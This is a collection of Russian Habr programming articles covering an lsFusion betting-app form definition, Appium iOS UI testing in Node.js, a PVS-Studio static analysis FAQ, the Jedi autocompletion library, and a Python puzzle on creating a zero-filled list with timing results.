FORM match 'Матч'
OBJECTS m = Match PANEL
PROPERTIES(m) cost, dateTime, nameHomeTeam, nameAwayTeam, homeScore, awayScore
EDIT Match OBJECT m
;
DESIGN match {
GROUP(,m) {
columns = 1;
}
}
backgroundScore = RGB(255, 224, 224);
backgroundBet = RGB(224, 224, 255);
backgroundOwn = RGB(224, 255, 224);
FORM matches 'Ставки'
OBJECTS m = Match
PROPERTIES(m) READONLY cost, dateTime, nameHomeTeam, nameAwayTeam
PROPERTIES(m) BACKGROUND backgroundScore() READONLY homeScore, awayScore, pointsStarted
PROPERTIES(m) BACKGROUND backgroundBet() countBets, home, tie, away
PROPERTIES BACKGROUND backgroundOwn() currentHomeScore(m) ON CHANGE changeCurrentHomeScore(m),
currentAwayScore(m) ON CHANGE changeCurrentAwayScore(m)
PROPERTIES(m) NEWSESSION NEW, EDIT, DELETE
OBJECTS c = CustomUser GRID
PROPERTIES(c) READONLY name[Contact]
PROPERTIES(m, c) READONLY hasBet
PROPERTIES(m, c) SHOWIF started(m) READONLY BACKGROUND backgroundScore() points, score
PROPERTIES(m, c) SHOWIF started(m) READONLY BACKGROUND backgroundBet() homeScore, awayScore
;
FORM standings 'Таблица'
OBJECTS c = CustomUser GRID
PROPERTIES(c) READONLY name[Contact], correctScore, correctDelta, correctResult, points, score
PROPERTIES(c) NEWSESSION NEW, EDIT, DELETE
OBJECTS m = Match GRID
PROPERTIES(m) READONLY cost, dateTime, nameHomeTeam, nameAwayTeam
PROPERTIES(m) BACKGROUND backgroundScore() READONLY homeScore, awayScore, pointsStarted
PROPERTIES(m, c) READONLY BACKGROUND backgroundScore() points, score
PROPERTIES(m, c) READONLY BACKGROUND backgroundBet() startedHomeScore, startedAwayScore
ORDERS score(c) DESC
;
NAVIGATOR {
NEW matches;
NEW standings;
NEW teams;
}
```
Перезапустить серверную службу при помощи команд :
```
systemctl stop lsfusion4-server
systemctl start lsfusion4-server
```
Приложение будет доступно по адресу http://:8080
Впервые мы провели игру еще во время чемпионата Европы 2012 года. Многие из наших сотрудников в итоге болели за кого-то в абсолютно всех матчах турнира, хотя в обычной ситуации не стали бы смотреть и половины. В этот раз мы решили поделиться нашим опытом с другими людьми. Если кому-то будет интересно, то тоже включайтесь в игру. В случае возникновения каких-либо проблем или вопросов всегда можно зайти в [slack](https://slack.lsfusion.org/) канал, где мы поможем по любым вопросам, или написать на почту info [собака] lsfusion.org. | https://habr.com/ru/post/557254/ | null | ru | null |
# Автоматическое тестирование iOS приложений
Бывает, наступает момент, когда нужно следить, не развалился ли лишний раз интерфейс мобильного приложения. Чтобы решить эту проблему используются автоматические тесты. Для веб страниц считается общепринятой практикой использовать Selenium Web driver, поэтому для мобильных приложений я искал похожие вещи. И, на счастье, таких нашлось немало, в них используется [Selenium WebDriver JSON Wire Protocol](https://code.google.com/p/selenium/wiki/JsonWireProtocol).
В этой статье речь пойдет о [Appium](http://appium.io/index.html). Я специально не проверял, один ли и тот же драйвер используется во всех продуктах такого рода. Но Appium я выбрал из-за того, что они четко указали на главной странице поддержку всех популярных языков. Вот то, чем они хвалятся:
1. Вы не должны перекомпилировать свое приложение или изменять его, это достигается за счет использования стандартного API автоматизации на всех платформах.
2. Вы можете писать свои тесты своими любимыми средствами разработки, используя любой WebDriver-совместимый язык, например Java, Objective-C, JavaScript с Node.js (как callback так и yield-based способы), PHP, Python, Ruby, C#, Clojure, или Perl с Selenium WebDriver API и специфическими клиентскими библиотеками.
3. Вы можете использовать любой тестирующий фреймворк.
Нам потребуется
* Mac OS X 10.7 или выше, рекомендовано 10.8.4
* XCode >= 4.6.3
* Apple Developer Tools (iPhone симулятор SDK, инструменты командной строки)
На самом деле он еще умеет Android и FirefoxOS. В статье описывается только iOS, но при смене платформы код сильно не поменяется. Начнем с установки Appium сервера. Можно скачать приложение [отсюда](https://github.com/appium/appium/releases) или установить через npm. Добавьте «sudo», если потребуется.
```
$ npm install -g appium
$ appium &
```
Вам нужно авторизировать использование iOS симулятора. Если вы запускаете Appium с NPM, тогда сделайте это введя «sudo authorize\_ios» (authorize\_ios это бинарный файл с Appium npm пакета). Если же вы запускаете Appium с исходников, тогда используйте команду " sudo grunt authorize". Или сделайте это через графический интерфейс программы Appium.app.
Приступим к написанию тестов. Свой рабочий проект я, с понятных причин, приводить не буду. Опишу простой случай:
1. Кнопка съехала
2. Кнопка на своем месте
3. Кнопка рабочая
4. Кнопка битая
Вы можете использовать Appium с роботами, например, [Tapster](https://github.com/hugs/tapsterbot). [Подробнее о роботах здесь](https://github.com/appium/robots) и [примеры](https://github.com/appium/appium/tree/master/sample-code/examples/node). Но в этой статье речь не о них..
[Исходный код](https://github.com/peinguin/AppiumStudy) теста и примеры приложений. Там 2 идентичных приложения, одно написано на ObjectiveC, второе на Titanium. Это для того, чтобы было понятно, что способ создания UI не имеет значения, если в итоге выводятся нативные iOS элементы.
Разберу тестовый пример:
```
var wd = require("wd")
, assert = require("assert")
,Q = require("q")
, appURL = __dirname+'/../program/Apps/Titanium/AppiumStudy.app';
// Instantiate a new browser session
var browser = wd.promiseRemote("localhost", 4723);
// See whats going on
browser.on("status", function(info) {
console.log('\x1b[36m%s\x1b[0m', info);
});
browser.on("command", function(meth, path, data) {
console.log(' > \x1b[33m%s\x1b[0m: %s', meth, path, data || '');
});
```
Подключение модулей. wd — это стандартные биндинги для Selenium web driver. В appURL вы можете указать путь к приложению или его архиву или же его http адрес. Обработчики ивентов исключительно для вывода отладочной информации, если вам это не нужно — можете смело удалять. Теперь инициализируется вебдрайвер и выполняется тестировочная функция:
```
browser
.init({
device: ""
, name: "Appium: with WD"
, platform: "Mac"
, app: appURL
, version: "6.0"
, browserName: ""
, newCommandTimeout: 60
})
.then(function () {
return browser.elementsByTagName('button');
})
.then(check_buttons)
.fail(function (err) {
console.log('fail', err)
})
.fin(function () {
browser.quit();
})
.done();
```
И сам тест:
```
var check_buttons = function(els){
assert.equal(els.length, 4, 'Not enough buttons');
var check_first_buttons = function(els){
var deferred = Q.defer();
var check_alert = function(ValidButton){
var deferred = Q.defer();
browser.clickElement(ValidButton)
.then(function(){
return browser.elementsByTagName('alert');
})
.then(function(alert){
assert.equal(alert.length, 1, "Alert not shoved");
return browser.acceptAlert();
})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(){
deferred.resolve();
});
return deferred.promise;
}
var check_invalid_position = function(InvalidButton){
var deferred = Q.defer();
InvalidButton.getLocation()
.then(function(location){
assert.equal(location.x, 43, "InvalidButton location is not wrong");
})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(els){
deferred.resolve();
});
return deferred.promise;
}
var check_valid_position = function(ValidButton){
var deferred = Q.defer();
ValidButton.getLocation()
.then(function(location){
assert.equal(location.x, 20, 'ValidButton location is wrong');
})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(els){
deferred.resolve();
});
return deferred.promise;
}
check_alert(els[0])
.then(function(){return check_invalid_position(els[1]);})
.then(function(){return check_valid_position(els[0]);})
.fin(function(){
deferred.resolve(els);
});
return deferred.promise;
}
var check_work_button = function(work_button){
var deferred = Q.defer();
work_button.click()
.then(function(){
return browser.waitForElementByTagName('text');
})
.then(function(){
return work_button.displayed();
})
.then(function(displayed){
assert.equal(displayed, false, "Work button still visible");
})
.then(function () {
return browser.elementsByTagName('text');
})
.then(function (label) {
assert.equal(label.length, 1, "Label not found");
return label[0].text();
})
.then(function (text) {
assert.equal(text, 'I am live!', "Label text not matched");
})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(){
// deferred.resolve(els);
});
return deferred.promise;
}
var check_broken_button = function(broken_button){
var deferred = Q.defer();
broken_button.click()
.then(function(){
return broken_button.displayed();
})
.then(function(displayed){
assert.equal(displayed, false, "Broken button still visible");
})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(){
deferred.resolve(els);
});
return deferred.promise;
}
var deferred = Q.defer();
check_first_buttons(els)
.then(function(){return check_work_button(els[2]);})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(){
deferred.resolve();
});
return deferred.promise;
}
```
В «check\_invalid\_position» выполняется проверка, действительно ли элемент съехал, что не вполне логично. Правильнее было бы проверять, на своем ли он месте, но assert прерывает тест при первой ошибке. Ничего страшного, главное, что я знаю, что так оно и должно быть.
Если у вас возникли трудности с заданием селектора элемента, можно воспользоваться «Appium Inspector». Для этого скачайте приложение, если используете npm версию, и нажмите на кнопку с синим информационным значком слева от кнопки «Stop». Детальнее [здесь](https://github.com/appium/appium/blob/master/docs/finding-elements.md#example).
По ходу выполнения теста в консоль будет выводится текущее задание тестировщика.
```
$ node test.js
Driving the web on session: 4892e40c-3cdf-4b66-9a01-4bfbad23da67
> POST: /session/:sessionID/elements { using: 'tag name', value: 'button' }
> POST: /session/:sessionID/element/0/click
> POST: /session/:sessionID/elements { using: 'tag name', value: 'alert' }
> POST: /session/:sessionID/accept_alert
> GET: /session/:sessionID/element/1/location
> GET: /session/:sessionID/element/0/location
> POST: /session/:sessionID/element/2/click
> POST: /session/:sessionID/elements { using: 'tag name', value: 'text' }
> GET: /session/:sessionID/element/2/displayed
> POST: /session/:sessionID/elements { using: 'tag name', value: 'text' }
> GET: /session/:sessionID/element/6/text
> DELETE: /session/:sessionID
Ending your web drivage..
```
Или сообщение об ошибке. Вот, что будет, если добавить проверку открытия нового модального окна по нерабочей кнопке.
```
check_first_buttons(els)
.then(function(){return check_broken_button(els[3]);})
.then(function(){return check_work_button(els[2]);})
.fail(function(err){
deferred.reject(new Error(err.message));
})
.fin(function(){
deferred.resolve();
});
```
```
$ node test.js
Driving the web on session: 4a5f1d13-b395-49a0-a28f-2d2cd67ac72d
> POST: /session/:sessionID/elements { using: 'tag name', value: 'button' }
> POST: /session/:sessionID/element/0/click
> POST: /session/:sessionID/elements { using: 'tag name', value: 'alert' }
> POST: /session/:sessionID/accept_alert
> GET: /session/:sessionID/element/1/location
> GET: /session/:sessionID/element/0/location
> POST: /session/:sessionID/element/3/click
> GET: /session/:sessionID/element/3/displayed
fail [Error: Broken button still visible]
> DELETE: /session/:sessionID
Ending your web drivage..
```
Так же можно смотреть лог в самом appium
С документацией в Appium пока туговато. Но вы можете посмотреть описание и список команд в [wd](https://github.com/admc/wd/blob/master/doc/api.md). Пишите комментарии или в личку, если остались вопросы. Таким образом можно переложить часть рутинной работы тестирования интерфейса мобильного приложения на плечи компьютера. | https://habr.com/ru/post/202910/ | null | ru | null |
# Всё, что вы хотели знать о PVS-Studio и не постеснялись спросить
В последнее время мы усилили наше присутствие на различных профильных IT-конференциях в России и за рубежом. На большинстве мероприятий стараемся стоять со стендом, на некоторых выступаем с докладами. Конференции позволяют не только повысить узнаваемость нашего продукта (статический анализатор кода PVS-Studio), но и, главное, ближе познакомиться с потенциальными и действующими пользователями. Общаясь с посетителями на стенде, наши сотрудники часто отвечают на однотипные вопросы, которые иногда бывают довольно курьёзными. В данной статье я постараюсь ответить на наиболее часто задаваемые вопросы посетителей о статическом анализе вообще и PVS-Studio в частности.
Для начала немного юмора на тему «Ожидание и реальность». Мы пишем достаточно много статей и наивно полагаем, что если уж люди их читают, то они хотя бы в общих чертах знают о нашем продукте и его особенностях. К сожалению, это не всегда так. Вот пример реального общения с посетителем на одной из последних конференций. Посетитель: «Читаем ваши статьи на Хабре. Интересно. Жалко, что ваш анализатор нам совсем не подходит. У нас все исходники секретные, наружу мы их не можем отправлять. А у вас же там всё *на облаке работает*.»
Вероятно, нашему отделу маркетинга есть над чем поработать.
Далее я приведу другие распространённые вопросы от среднестатистического посетителя нашего стенда на выставке, а также ответы на них в формате импровизированного диалога.
**Q:** Что-то слышал про вас. Откуда вы, что делаете, и как узнать о вас подробнее?
**A:** Мы небольшая независимая команда из Тулы. Разрабатываем PVS-Studio — статический анализатор кода для языков C, C++, C#, Java. Подробнее о нас можно узнать на [сайте PVS-Studio](https://www.viva64.com/ru/pvs-studio/). Также мы пишем статьи и размещаем их в [нашем блоге](https://www.viva64.com/ru/b/), на [Хабре](https://habr.com/company/pvs-studio/blog/) и других ресурсах.
**Q:** Что за статический анализ? В нашей команде нам вполне хватает предупреждений компилятора и совместных обзоров кода.
**A:** Компилятор способен указать только на грубые и довольно очевидные ошибки. Например, недостижимый код или использование неинициализированных переменных. Выявление ошибок для компилятора — побочная задача. Да, в последнее время компиляторы стали довольно интеллектуальными. Но любой специализированный инструмент для поиска ошибок в коде значительно превосходит компилятор, позволяя проводить детальный анализ кода и выявлять опечатки, логические ошибки, потенциальное использование нулевых указателей/ссылок и т.п.
Совместные обзоры кода — неплохая, проверенная временем технология. Но и она имеет недостатки, связанные с необходимостью привлечения дополнительных сотрудников к работе над чужим кодом. Это увеличивает стоимость разработки, при этом вероятность пропустить ошибку или добавить новую остаётся, так как человеку свойственно ошибаться.
Статический анализ — это проверка исходного кода программы без необходимости её выполнения. Мы рекомендуем использовать инструменты статического анализа кода как *дополнительный* барьер на пути ошибок.
**Q:** PVS-Studio анализирует исполняемые файлы или непосредственно исходный код?
**A:** Если говорить про поиск уязвимостей, то анализ исполняемого кода больше похож на то, как работает антивирус, выискивая в бинарном коде сигнатуры из некоторой базы данных.
PVS-Studio анализирует *исходный код*. Это позволяет выявлять намного больший круг ошибок и потенциальных уязвимостей, увеличивает скорость работы и даёт более достоверные результаты.
Да, конечно, можно пытаться дизассемблировать код и найти ошибку в алгоритме. Но надо понимать, что в бинарном коде очень много информации потеряно. Например, всегда истинное условие будет просто удалено при компиляции кода, и нет никакой возможности узнать, что с этим условием что-то было не в порядке.
**Q:** А какие возможности интеграции? Есть ли у вас плагины для каких-либо IDE?
**A:** В настоящее время PVS-Studio интегрируется в Visual Studio 2010-2017 в качестве плагина. Есть Java-плагин для IntelliJ IDEA. Также благодаря специализированному модулю вы можете управлять CMake проектами в Qt Creator и CLion.
Анализатор постоянно развивается, поэтому самую актуальную информацию о возможностях продукта вы можете узнать, посетив [наш сайт](https://www.viva64.com/ru/pvs-studio/).
**Q:** Мы используем SonarQube.
**A:** Отличный выбор. Плагин PVS-Studio для SonarQube позволит импортировать результаты анализа в SonarQube и работать с ними привычным образом.
**Q:** Хорошо, мне нужно как-то встроить анализ в нашу сборочную систему.
**A:** PVS-Studio можно использовать из командной строки. Анализатор содержит большой набор настроек для решения широкого круга задач. Также, независимо от сценария использования, мы оказываем помощь нашим клиентам на этапе внедрения анализатора и техническую поддержку во всё время действия лицензии.
**Q:** Как попробовать ваш анализатор?
**A:** Воспользоваться [страницей загрузки](https://www.viva64.com/ru/pvs-studio-download/), скачать необходимый дистрибутив и поработать с PVS-Studio в режиме триала. Если вам необходимо дополнительное время для оценки нашего продукта или вас не устраивают ограничения демонстрационной версии, [свяжитесь с нами](https://www.viva64.com/ru/about-feedback/).
Также на выставках наши посетители могут получить Enterprise-ключ, срок действия которого — один месяц. Для этого просто приходите на наш стенд с единорогом. К тому же, вы можете стать участником лотереи и получить приз от PVS-Studio.
**Q:** Я студент, можно ли использовать PVS-Studio бесплатно?
**A:** Это возможно при условии добавления в ваш исходный код комментариев специального вида. Файлы, отмеченные таким образом, будут проверяться на наличие ошибок без каких-либо ограничений. Более подробно о данном режиме работы можно узнать из статьи "[Как использовать PVS-Studio бесплатно](https://www.viva64.com/ru/b/0457/)".
**Q:** Кто ваши клиенты?
**A:** На данный момент нашими клиентами стали уже более 200 компаний по всему миру. Сфера их деятельности весьма разнообразна. Со списком действующих клиентов можно ознакомиться на [нашем сайте](https://www.viva64.com/ru/customers/).
**Q:** Так у вас есть локальный режим работы или нет?
**A:** Анализатор PVS-Studio устанавливается локально на выделенный компьютер (компьютеры) и может работать полностью изолированно. Подключение к интернету необходимо для получения обновлений, а также быстрого перехода по ссылкам на документацию (описание диагностик и т.п.) из плагинов. В настоящее время мы продумываем варианты работы через «облако», но это будет дополнение к стандартному режиму работы.
**Q:** А чем конкретно вы лучше, допустим, анализатора Coverity?
**A:** На данный вопрос невозможно дать простой и исчерпывающий ответ. Все наши попытки сравнения с другими анализаторами потерпели крах. Нас обвиняли в предвзятости, «накручивании» результатов, использовании специально подготовленной тестовой базы и прочих смертных грехах. К тому же, анализаторы нельзя просто сравнивать «в лоб». Каждый инструмент уникален и имеет свои сильные и слабые стороны. Одни инструменты делают упор на производительность, другие — сфокусированы на поиске «запахов» в коде и улучшении стилистики. Мы ищем ошибки и потенциальные уязвимости.
Если у вас есть желание и подходящая методология, вы можете провести исследование и сравнить наш анализатор с другими, а затем написать про это статью. Для этого мы даже выдадим вам временный лицензионный ключ без ограничений. Но будьте готовы к критике.
**Q:** Я не понял, так вы ищете ошибки только в некомпилируемом коде? То есть программа даже не прошла проверки компилятора?
**A:** Это не так. PVS-Studio ищет и находит ошибки только в скомпилированных программах. В реально действующих приложениях. Эти программы не просто компилируются без ошибок, некоторые из них проверяются другими анализаторами. И всё равно мы выискиваем там ошибки. Про это мы часто пишем [статьи](https://www.viva64.com/ru/inspections/) в нашем блоге, проверяя проекты с открытым кодом.
**Q:** А какие ошибки PVS-Studio сможет выявить в нашем проекте? Только опечатки?
**A:** Опечатки, конечно, относятся к классу классических ошибок, обнаруживаемых при статическом анализе. Но помимо этого, PVS-Studio потенциально может выявить еще *несколько сотен паттернов* ошибок. Примеры: разыменование нулевого указателя, деление на ноль, условие всегда ложно или истинно, некорректные операции с индексом, выход за границу массива и многие другие. Полный перечень ошибок приведен на странице [документации](https://www.viva64.com/ru/w/).
**Q:** После проверки вашим анализатором я могу быть уверен, что программа не содержит ошибок?
**A:** Нет. PVS-Studio не является инструментом доказательства правильности программ. Это отдельный класс инструментов. Задача нашего анализатора — максимально быстро и достоверно *указать* на *потенциальную* ошибку в коде. Решение об ошибочности той или иной конструкции всегда принимает разработчик, используя контекст возникновения ошибки и свои знания о проекте. А анализатор помогает разработчику, по возможности сводя к минимуму число ложных срабатываний и предоставляя дополнительные возможности по обработке списка полученных предупреждений.
**Q:** Как именно работает PVS-Studio? Что за механизмы поиска ошибок? Наверное, вы используете регулярные выражения.
**A:** Использование регулярных выражений крайне неэффективно. Оно позволяет находить лишь самые примитивные ошибки, например, в условиях (сравнивают два одинаковых подвыражения):
```
if ((a+b+с) == (a+b+с)) {....}
```
При этом небольшое изменение кода (без изменения логики работы) с большой долей вероятности поставит такой анализатор в тупик:
```
if ((a+b+с) == (b+a+с)) {....}
```
Анализатор PVS-Studio гораздо интеллектуальнее и использует следующие механизмы:
* Сопоставление с шаблоном (pattern-based analysis) на базе абстрактного синтаксического дерева.
* Построение семантической модели с последующим выводом типов (type inference).
* Символьное выполнение (symbolic execution), позволяющее вычислять значения переменных, которые могут приводить к ошибкам, а также проверять диапазоны значений (range checking).
* Анализ потока данных (data-flow analysis).
* Аннотирование методов (method annotations).
Более подробно всё это описал мой коллега Андрей Карпов в недавней статье "[Технологии, используемые в анализаторе кода PVS-Studio для поиска ошибок и потенциальных уязвимостей](https://www.viva64.com/ru/b/0592/)".
**Q:** Хорошо, у нас проект на С/С++, 15 лет разработки и пять миллионов строк кода. Нам реально начать использовать PVS-Studio сейчас?
**A:** Да. На этапе внедрения будет необходимо однократно провести полную проверку вашего проекта. Затем все полученные предупреждения (вероятно, их будет немало) можно отметить как пока неинтересные (временно подавить их вывод), чтобы вернуться к этому техническому долгу позже. После этого вы сможете использовать PVS-Studio для регулярной проверки только нового кода. Более подробно об этой и других возможностях анализатора можно узнать на [странице документации](https://www.viva64.com/ru/m/).
**Q:** Как часто надо запускать проверку? И что, всю кодовую базу каждый раз проверять?
**A:** Наиболее эффективное использование статического анализа предполагает как можно более частые проверки нового кода. Для этого в PVS-Studio реализован режим инкрементального анализа. На проверку подаются файлы, в которые были внесены изменения с момента последней сборки проекта. Есть и другие режимы работы. Это позволяет выявлять ошибки уже на этапе разработки, что снижает риск их попадания в релиз.
**Q:** Мы используем PVS-Studio. Анализатор находит ошибки, но многие из них в неиспользуемом коде или тестах. Это нормально?
**A:** Вполне нормально. Одна из особенностей статического анализа, в отличие от динамического, проверка *всей* кодовой базы, а не только выполняемого при запуске кода. Допустим, вы потратили много времени и сил на отладку кода программы, и все работает стабильно. Но есть функция, которая редко используется, или вообще пока не используется. Вероятность нахождения ошибки в такой функции высока. И когда в один прекрасный момент функцию начнут использовать, что-то может пойти не так. Применение статического анализа позволит минимизировать риски возникновения такой ситуации.
Также в коде могут содержаться заведомо некорректные конструкции (обычно это бывает в тестах), поэтому часто их имеет смысл исключить из проверки (указав проекты или пути) через настройки PVS-Studio. Однако иногда сами тесты содержат ошибки. Такие ситуации достаточно сложно выявить, и в данном случае решение должен принимать разработчик.
**Q:** А как насчёт поиска уязвимостей?
**A:** Анализатор PVS-Studio является инструментом SAST (Static Application Security Testing) и позволяет выявлять *потенциальные* уязвимости, классифицируемые согласно [CWE](https://cwe.mitre.org/) (Common Weakness Enumeration). Предупреждения CWE во многом пересекаются с классическими предупреждениями PVS-Studio. Подробнее про SAST вы можете узнать из [документации](https://www.viva64.com/ru/sast/). Важно понимать, что *потенциальные* уязвимости не обязательно приводят к реальным уязвимостям, которые могут быть использованы хакером. Выявленные уязвимости классифицируют по [CVE](https://cve.mitre.org/) (Common Vulnerabilities and Exposures). Тем не менее, устранение *потенциальных* уязвимостей однозначно способствует повышению безопасности программы и минимизирует риск выявления реальных уязвимостей в будущем.
**Q:** Я руковожу командой разработчиков. Как именно мне поможет использование PVS-Studio?
**A:** Помимо повышения качества и надёжности кода, внедрение PVS-Studio позволит решать и чисто управленческие задачи, связанные, например, с разделением ответственности. В состав поставки анализатора входит утилита BlameNotifier, которая позволяет автоматически определять сотрудников, которые отправили ошибочный код в систему контроля версий. При этом производится рассылка почтовых уведомлений как исполнителю, так и его руководителю.
Также вы можете настроить конвертацию отчётов об ошибках в любую удобную для вас форму, включая детализированный html-отчёт, удобный для использования руководителем.
Наконец, в случае применения SonarQube вы можете использовать все преимущества этого инструмента для обеспечения непрерывного контроля качества кода, выгружая в SonarQube результаты проверки проекта анализатором PVS-Studio при помощи специализированного плагина.
**Q:** Используете или планируете использовать машинное обучение?
**A:** Это большая и интересная тема. Мы планируем написать про это статью критического плана. Сейчас же озвучу только пару коротких мыслей.
Незачем делать калькулятор методом машинного обучения. Есть определённое правило (формула), и его надо применить к коду и сделать какой-то вывод. Непонятно, зачем настраивать нейронную сеть для выявления нового паттерна ошибки, когда эти паттерны уже существуют, и надо просто правильно их применить. И, главное, непонятно где взять базу для такого обучения. Где та выборка из сотен тысяч проектов с выписанными ошибками, на которых можно обучиться?
Единственное, где, на наш взгляд, может иметь смысл применение алгоритмов машинного обучения, это фильтрация ложных срабатываний.
**Q:** Проверяете ли вы код PVS-Studio при помощи PVS-Studio?
**A:** Конечно! Более того, в случае обнаружения ошибок, список виновных предаётся огласке с их последующим отлучением от холодильника с мороженым. А если серьёзно, мы считаем, что очень полезно применять собственный инструмент. Это позволяет взглянуть на продукт с точки зрения пользователя и заметить некоторые недостатки.
**Q:** Как получить ваши замечательные статусы для рабочего стола и брендированную шапку-ушанку?
**A:** Приходите на наш стенд с единорогом на ближайшей выставке, где мы будем присутствовать со стендом. Что-нибудь придумаем :)
Надеюсь, я сумел ответить на наиболее популярные вопросы посетителей наших стендов на выставках. Конечно, бывают и более сложные вопросы, для ответа на которые может потребоваться написание отдельной статьи.
При общении с посетителями мы стараемся донести главную мысль: статический анализ — не панацея от всех бед, но его использование очень полезно для здоровья (ваших программ). Используйте PVS-Studio и не болейте!
В заключение ещё раз приведу ряд полезных ссылок:
* [Сайт PVS-Studio](https://www.viva64.com/ru/pvs-studio/)
* [Попробовать PVS-Studio](https://www.viva64.com/ru/pvs-studio-download/)
* [Купить PVS-Studio](https://www.viva64.com/ru/order/)
* [Как использовать PVS-Studio бесплатно](https://www.viva64.com/ru/b/0457/)
* [Документация](https://www.viva64.com/ru/m/)
* [Поиск потенциальных уязвимостей](https://www.viva64.com/ru/sast/)
* [Наш блог](https://www.viva64.com/ru/b/)
* [Обратная связь](https://www.viva64.com/ru/about-feedback/)
[](https://www.viva64.com/en/b/0593/)
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Khrenov. [Everything You Wanted to Know about PVS-Studio and Dared to Ask](https://www.viva64.com/en/b/0593/) | https://habr.com/ru/post/431086/ | null | ru | null |
# Jedi — библиотека автодополнения для Python
Вот, набрел на просторах гитхаба на интересную библиотеку ([GitHub](https://github.com/davidhalter/jedi)). Дальше следует немного слов от автора.
Jedi — это инструмент, который можно использовать для автодополнения кода Python в IDE/редакторах. Jedi работает. Jedi быстр. Он понимает все основные элементы синтаксиса Python, в том числе встроенные функции.
Кроме того, Jedi поддерживает две разные goto функции и имеет поддержку переименования, а также поддерживает Pydoc и другие фишки IDE.
Jedi использует очень простой API, чтобы соединиться с IDE. Основная реализация — это VIM-плагин, использующий автозавершение Jedi. Я призываю использовать Jedi в ваших IDE. Это очень просто. Если возникнут проблемы (в том числе с лицензированием) — свяжитесь со мной.
Jedi можно использовать с такими редакторами:
* Vim ([jedi-vim](https://github.com/davidhalter/jedi-vim), [YouCompleteMe](http://valloric.github.io/YouCompleteMe/))
* Emacs ([Jedi.el](https://github.com/tkf/emacs-jedi))
* SynWrite ([SynJedi](http://sourceforge.net/projects/synwrite/files/Plugins/SynJedi))
* Sublime Text ([Sublime JEDI [ST2 + ST3], [anaconda [only ST3]](https://github.com/DamnWidget/anaconda))](https://github.com/srusskih/SublimeJEDI)
А также присутствует в проекте [wdb](https://github.com/Kozea/wdb)
Несколько изображений:
Завершение для чего угодно (Ctrl+Space)
Отображение тела класса / функции, docstrings
Поддержка Pydoc. С подсветкой (Shift+K)
##### Установка
```
pip install jedi
```
Эта команда устанавливает только Jedi, а не плагины. Об установке в ваш редактор читайте в соответствующей документации.
Да, чуть не забыл — официально поддерживается Python 2.6, 2.7, 3.2 и 3.3, но в принципе, можно пользоваться им и для более ранних версий. | https://habr.com/ru/post/192610/ | null | ru | null |
# Задачка Python на синтаксический сахар
Я молодой разраб на python и только пришел на свою первую работу. На работе руководитель ИТ отдела иногда задает задачки python нам(разрабам), одна из них - это создание списка с нулями, такой же длины, как исходный итерируемый обьект python. Итерируемый обьект может быть как списком, так и строкой, так и любым другим кастомным итерируемым обьектом.
Первое решение которое пришло в голову, это list comprehension:
```
#t1.py
List1 = [3, 4, 5]
result = [0 for i in List1]
```
Руководитель сказал, да, это python way, но можно оптимизировать по памяти:
```
#t2.py
List1 = [3, 4, 5]
result = [0 for _ in List1]
```
У меня в голове вертелось чувство что можно решить эту же задачу через рапаковку, но если Вы хотите оптимизирват по памяти, напишите генератор~~(но я не уверен)~~, вот так:
```
#t3.py
List1 = [3, 4, 5]
def m(N):
N = len(N)
while N > 0:
yield 0
N -= 1
result = list(m(List1))
```
Через пару минут мысли в голове собрались в пазл и я выдал решение этой задачи через распаковку:
```
#t4.py
List1=[3, 4, 5]
result = list(map(int, [*'0'*len(List1)]))
```
Не смотря на 3 найденых решения, руководителя все же хотелось удивить и в конце вечера, из глубин сознания, я вспомнил что можно просто умножить список из одного элемента на N и получить список из N элементов:
```
#t5.py
List1 = [3, 4, 5]
result = [0]*len(List1)
```
**Тест времени выполнения**
Давайте теперь протеституем все эти скрипты. List1 будет список из миллиона чисел, запускать тест времени будем строеным модулем cProfile, а памяти memory\_profiler.
```
sergey@ideapad-320S:~/test_speed$ python3 -m cProfile t1.py
4 function calls in 0.028 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.010 0.010 0.028 0.028 t1.py:1()
1 0.018 0.018 0.018 0.018 t1.py:2()
1 0.000 0.000 0.028 0.028 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {method 'disable' of '\_lsprof.Profiler' objects}
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m cProfile t2.py
4 function calls in 0.029 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.010 0.010 0.029 0.029 t2.py:1()
1 0.019 0.019 0.019 0.019 t2.py:2()
1 0.000 0.000 0.029 0.029 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {method 'disable' of '\_lsprof.Profiler' objects}
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m cProfile t3.py
1000005 function calls in 0.179 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.079 0.079 0.179 0.179 t3.py:1()
1000001 0.100 0.000 0.100 0.000 t3.py:3(m)
1 0.000 0.000 0.179 0.179 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {built-in method builtins.len}
1 0.000 0.000 0.000 0.000 {method 'disable' of '\_lsprof.Profiler' objects}
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m cProfile t4.py
4 function calls in 0.088 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.088 0.088 0.088 0.088 t4.py:1()
1 0.000 0.000 0.088 0.088 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {built-in method builtins.len}
1 0.000 0.000 0.000 0.000 {method 'disable' of '\_lsprof.Profiler' objects}
```
```
sergey@ideapad-320S:~/test_speed$ python3 -m cProfile t5.py
4 function calls in 0.011 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.011 0.011 0.011 0.011 t5.py:1()
1 0.000 0.000 0.011 0.011 {built-in method builtins.exec}
1 0.000 0.000 0.000 0.000 {built-in method builtins.len}
1 0.000 0.000 0.000 0.000 {method 'disable' of '\_lsprof.Profiler' objects}
```
Если запускать несколько раз тест времени, значения остаются такими же.
Дольше всего оказался генератор, ну оно и понятно, его еще создать нужно, и к нему постоянно обращаться нужно.
Первое и второе решение по скорости отличаются не на много, интересно что там с памятью.
